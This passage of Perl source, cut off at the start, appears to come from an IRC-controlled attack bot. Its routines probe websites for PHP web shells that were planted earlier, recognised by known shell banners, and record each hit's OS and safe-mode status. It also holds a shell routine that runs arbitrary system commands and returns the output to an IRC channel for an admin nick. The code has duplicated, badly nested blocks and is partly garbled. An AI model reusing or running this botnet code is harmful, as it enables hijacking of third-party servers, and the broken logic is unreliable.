(.*?)<\/b>/i) {$safe = $2;}
if ($check =~ m/Cwd:<\/span><\/td>(.*?)?<\/nobr>/i) {$os = $1;}
if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) {
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
} elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) {
$safe = "3OFF";$os = '';
if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} else {
if($check =~ m/\[uname\]/ig) {
$safe = '';$os = '';
if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;}
if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
}
}
$key++;
}
return @result;
}
sub clean() {
my @cln = ();
my %visit = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visit{$element}++;
push @cln, $element;
}
return @cln;
}
sub links() {
my @list;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push(@list,$host,$hdir);
return @list;
}
sub search_engine_query() {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ($query eq "") { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
my $sget = "GET $query HTTP/1.0\r\n";
$sget .= "Host: $host\r\n";
$sget .= "Accept: */*\r\n";
$sget .= "User-Agent: $uagent\r\n";
$sget .= "Connetion: Close\r\n\r\n";
print $sock $sget;
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub backdoorCheck {
my ($site,@path) = @_;
my @result = ("false");
my $url;
my $safe;
my $os;
my $siteUrl;
my $key = 0;
foreach my $path(@path) {
if($path =~ /\+/) {
my @part = split(/\+/,$path);
$url = "http://".$site.$part[0]."?".$part[1];
$siteUrl = "http://".$site.$part[0];
} else {
$url = "http://".$site.$path;
$siteUrl = "http://".$site.$path;
}
my $check = &get_content($url);
sleep(3);
if($check =~ m/SAFE_MODE/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/ig){
$safe = '';$os = '';
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
if($check =~ m/GIF89aGLO /ig or $check =~ m/Uname/ig or $check =~ /Peterson - Shell/ig){
$safe = '';$os = '';
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
if($check =~ m/BArNEr/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){
$safe = '';$os = '';
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
if($check =~ m/xScaN - exploit/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/){
$safe = '';$os = '';
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
}
if($check =~ m/pagat - exploit/ig or $check =~ m/Uname/ig or $check =~ /pagat - exploit/){
$safe = '';$os = '';
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif($check =~ m/Software/ig or $check =~ m/Freespace/ig) {
$safe = '';$os = '';
if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;}
if($safe eq "") {
if ($check =~ m/SAFE MODE is (.*?)\(/) {$safe = $1;}
}
if ($check =~ m/OS : (.*?)
/) {$os = $1;}
if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif ($check =~ m/Safe-mode/ig) {
$safe = '';$os = '';
if ($check =~ m/Safe-mode:(.*?)\]/i) {$safe = $1;}
if ($check =~ m/OS:(.*?)\]/i) {$os = $1;}
if ($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif ($check =~ m/Uname/ig or $check =~ m/Hdd/ig) {
$safe = '';$os = '';
if ($check =~ m/Safe mode:<\/span>(.*?)<\/b>/i) {$safe = $2;}
if ($check =~ m/Cwd:<\/span><\/td>(.*?)?<\/nobr>/i) {$os = $1;}
if ($safe =~ m/ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} elsif ($check =~ m/post\>Password:/ig or $check =~ m/name\=\"pass\"/ig) {
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
} elsif ($check =~ m/Shell/ig or $check =~ m/Pengguna/ig) {
$safe = "3OFF";$os = '';
if ($check =~ /Sistem : (.*?)<\/b>/){$os=$1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
} else {
if($check =~ m/\[uname\]/ig) {
$safe = '';$os = '';
if ($check =~ m/\[uname\](.*?)\[\/uname\]/i){$os=$1;}
if ($check =~ m/Safe Mode = (.*?)>/i) {$safe = $1;}
if($os ne ""){
@result = ();
@result = ($siteUrl, $os, $safe,$key);
last;
}
}
}
}
}
}
$key++;
}
return @result;
}
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
} | |